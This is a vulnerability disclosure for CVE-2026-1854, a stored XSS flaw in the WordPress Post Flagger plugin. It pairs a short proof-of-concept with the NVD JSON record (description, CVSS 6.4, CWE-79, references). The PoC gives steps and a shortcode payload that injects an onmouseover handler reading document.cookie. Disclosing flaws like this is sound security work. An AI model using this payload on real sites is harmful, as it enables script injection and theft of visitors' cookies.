CVE-2026-1854

<!-- PoC: Stored XSS via 'flag' shortcode --> <!-- Step 1: Log in as a user with Contributor privileges or higher. --> <!-- Step 2: Create a new Post or Page. --> <!-- Step 3: Insert the following malicious shortcode into the content body: --> [flag post_id='1" onmouseover="alert(document.cookie)"'] <!-- Step 4: Publish the content. --> <!-- Step 5: Visit the page and hover over the injected element to trigger the XSS. -->

{"cve": {"id": "CVE-2026-1854", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:55.337", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Post Flagger plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'flag' shortcode in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Post Flagger para WordPress es vulnerable a Cross-Site Scripting Almacenado a través del shortcode 'flag' del plugin en todas las versiones hasta la 1.1, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel de colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/post-flagger/tags/1.1/post-flagger.php#L66", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/post-flagger/trunk/post-flagger.php#L66", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/post-flagger/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1653e5a9-d2bb-42e3-be0d-27356fbde2ce?source=cve", "source": "[email protected]"}]}}